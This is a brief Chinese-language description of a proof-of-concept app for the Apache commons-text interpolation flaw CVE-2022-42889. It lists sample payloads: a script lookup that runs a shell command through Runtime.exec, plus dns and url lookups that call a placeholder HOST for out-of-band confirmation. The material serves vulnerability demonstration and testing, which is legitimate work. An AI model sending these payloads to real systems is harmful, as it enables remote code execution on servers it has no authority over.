CVE-2022-42889

CVE-2022-42889-POC 一个简单的演示应用程序，展示了如何利用CVE-2022-42889漏洞。 利用带外（OOB）服务来演示dns和url前缀。 commons-text插值的JavaDoc：commons-text JavaDocs 插值示例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url "$url:UTF-8:http://HOST" 引用自Rapid7...